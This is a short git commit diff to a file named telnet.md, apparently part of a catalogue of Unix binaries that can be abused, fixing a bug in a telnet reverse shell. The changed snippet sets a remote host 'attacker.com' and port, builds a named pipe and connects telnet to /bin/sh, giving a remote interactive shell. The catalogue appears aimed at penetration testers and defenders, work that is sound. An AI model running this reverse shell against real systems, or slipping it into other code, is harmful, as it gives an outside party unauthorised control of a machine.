telnet.md(hotfix): Fixed a bug in telnet reverse shell

This commit is contained in:
root 2018-07-21 23:58:40 +10:00
parent 690bf325ae
commit 08db6ac84e

View File

@ -13,7 +13,7 @@ functions:
code: |
RHOST=attacker.com
RPORT=12345
TF=$(mktemp)
TF=$(mktemp -u)
rm $TF
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF
sudo-enabled: